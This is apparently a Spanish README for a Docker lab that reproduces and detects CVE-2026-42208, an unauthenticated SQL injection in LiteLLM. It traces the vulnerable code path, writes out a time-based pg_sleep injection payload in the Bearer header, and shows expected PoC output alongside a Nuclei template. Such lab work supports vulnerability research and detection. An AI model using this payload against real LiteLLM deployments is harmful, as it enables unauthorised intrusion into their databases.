
Laboratorio de reproducción para CVE-2026-42208, una inyección SQL crítica previa a la autenticación en LiteLLM. Incluye entornos vulnerables/parcheados basados en Docker, exploit PoC basado en temporización y plantilla de detección Nuclei para pruebas de seguridad.
Un entorno de laboratorio para reproducir y detectar CVE-2026-42208, una vulnerabilidad crítica de inyección SQL sin autenticación en LiteLLM donde tokens Bearer no sanitizados llegan a una consulta PostgreSQL sin parámetros.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Versiones afectadas | >= 1.81.16, < 1.83.7 |
| Parcheada | v1.83.7 (consulta parametrizada) |
| CWE | CWE-89 (Inyección SQL) |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← el payload NO comienza con "sk-"
→ api_key.startswith("sk-") falla en la aserción (utils.py:1189)
→ capturado por except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← inyección
Parcheada (v1.83.7):
Misma ruta de solicitud, pero:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parametrizado, sin inyección
Máquina anfitriona
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PARCHEADA)
Docker: litellm-db-patched (PostgreSQL 15)
| Herramienta | Instalación |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | preinstalado en macOS |
bash scripts/01-setup.sh
Al finalizar:
══════════════════════════════════════════════════════
¡Laboratorio listo!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Parcheada (v1.83.7-stable) : http://localhost:8011
Clave maestra : sk-lab-master-key
Siguiente: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
Salida esperada — vulnerable (v1.83.6-nightly):
── Vulnerable (v1.83.6-nightly, puerto 8010) ──
Línea base : 0.031s
Inyección : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULTADO: pg_sleep activado — INYECCIÓN SQL CONFIRMADA (VULNERABLE)
Salida esperada — parcheada (v1.83.7-stable):
── Parcheada (v1.83.7-stable, puerto 8011) ──
Línea base : 0.028s
Inyección : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULTADO: Sin retardo significativo — inyección no ejecutada (PARCHEADA)
# Instancia vulnerable → debería producir un hallazgo [critical]
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Instancia parcheada → no debería producir hallazgos
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
Vulnerable (v1.83.6-nightly):

Parcheada (v1.83.7-stable):

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Análisis a nivel de código (inglés)
├── LAB_SETUP_GUIDE.md # Guía de configuración del laboratorio (inglés)
├── NUCLEI_TEMPLATE_GUIDE.md # Diseño de plantilla Nuclei (inglés)
├── docker-compose.yaml
│
├── REPORT/ # Informes en coreano
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Plantilla de detección Nuclei
│
└── scripts/
├── 01-setup.sh # Iniciar contenedores, crear clave de semilla
├── 02-exploit.sh # PoC: prueba de inyección basada en tiempos
└── 99-teardown.sh # Detener y eliminar todos los recursos del laboratorio
Paso 1 GET /health/liveliness
→ coincide "I am alive" en el cuerpo
→ confirma que el objetivo es una instancia de LiteLLM
Paso 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Coincidencias (AND — todas deben cumplirse):
status == 401 elimina falsos positivos de 504/502
body contiene "auth_error" O "Authentication Error"
confirma la ruta de autenticación de LiteLLM, no un proxy
duration >= 5 pg_sleep(6) activado → inyección confirmada
Prevención de falsos positivos:
status == 401 elimina respuestas de tiempos de espera aguas arriba (504) y errores de gateway (502)duration >= 5 es suficientemente alto para excluir fluctuaciones de red (la línea base es ≤0.5s)Advertencia: Todas las credenciales en este laboratorio son datos de prueba falsos con fines exclusivos de investigación en seguridad. Nunca las utilice en producción. Siempre obtenga autorización explícita antes de escanear sistemas que no le pertenezcan.
| # | Condición | Detalles |
|---|
| 1 | Versión de LiteLLM afectada | >= 1.81.16, < 1.83.7 |
| 2 | Base de datos PostgreSQL | Las implementaciones con SQLite no se ven afectadas |
| 3 | Sin autenticación requerida | Sin autenticación previa; no se necesitan credenciales |
| 4 | ≥1 fila en VerificationToken | pg_sleep solo se ejecuta por fila; tabla vacía = sin retardo |